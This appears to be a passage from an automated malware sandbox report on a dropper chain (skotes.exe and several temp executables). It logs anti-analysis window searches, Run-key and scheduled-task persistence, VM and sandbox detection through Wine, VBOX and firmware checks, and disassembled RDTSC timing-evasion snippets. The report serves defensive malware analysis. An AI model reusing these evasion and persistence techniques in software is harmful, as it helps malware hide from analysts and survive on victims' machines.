Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7f3598dc65.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7f3598dc65.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 606111e8b5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 606111e8b5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dd62608cd9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dd62608cd9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39EEBF second address: 39EEC9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F32E9641F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522E94 second address: 522E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F32E8D838D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522E9E second address: 522ED4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F32E9641F29h 0x00000011 jo 00007F32E9641F18h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522ED4 second address: 522ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5222E7 second address: 5222FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5222FB second address: 5222FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52275A second address: 522788 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E9641F16h 0x00000008 jmp 00007F32E9641F1Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F32E9641F22h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524853 second address: 524859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524859 second address: 52487F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pop edi 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 jns 00007F32E9641F1Ch 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52487F second address: 5248A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F32E8D838E8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5248A3 second address: 39EEBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F32E9641F1Ch 0x0000000f push dword ptr [ebp+122D167Dh] 0x00000015 jmp 00007F32E9641F24h 0x0000001a call dword ptr [ebp+122D1E33h] 0x00000020 pushad 0x00000021 jmp 00007F32E9641F28h 0x00000026 xor eax, eax 0x00000028 clc 0x00000029 mov edx, dword ptr [esp+28h] 0x0000002d jng 00007F32E9641F1Ch 0x00000033 pushad 0x00000034 sub dword ptr [ebp+122D2C12h], ebx 0x0000003a mov bx, F352h 0x0000003e popad 0x0000003f mov dword ptr [ebp+122D3A35h], eax 0x00000045 pushad 0x00000046 pushad 0x00000047 mov dword ptr [ebp+122D2C12h], eax 0x0000004d call 00007F32E9641F1Eh 0x00000052 pop ebx 0x00000053 popad 0x00000054 popad 0x00000055 mov esi, 0000003Ch 0x0000005a jno 00007F32E9641F1Bh 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 mov dword ptr [ebp+122D2AC2h], esi 0x0000006a lodsw 0x0000006c mov dword ptr [ebp+122D2A92h], edi 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 mov dword ptr [ebp+122D2A9Bh], edx 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 mov dword ptr [ebp+122D2C12h], eax 0x00000086 nop 0x00000087 jmp 00007F32E9641F24h 0x0000008c push eax 0x0000008d push eax 0x0000008e push edx 0x0000008f pushad 0x00000090 pushad 0x00000091 popad 0x00000092 pushad 0x00000093 popad 0x00000094 popad 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524901 second address: 524907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524907 second address: 52490B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52490B second address: 524995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnl 00007F32E8D838F6h 0x0000000f nop 0x00000010 jmp 00007F32E8D838E6h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F32E8D838D8h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D21CEh], ebx 0x00000037 call 00007F32E8D838D9h 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F32E8D838E1h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524995 second address: 5249C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F32E9641F28h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F32E9641F1Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5249C3 second address: 524A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F32E8D838E8h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jmp 00007F32E8D838DEh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F32E8D838E3h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524A09 second address: 524A34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jns 00007F32E9641F18h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524A34 second address: 524A57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
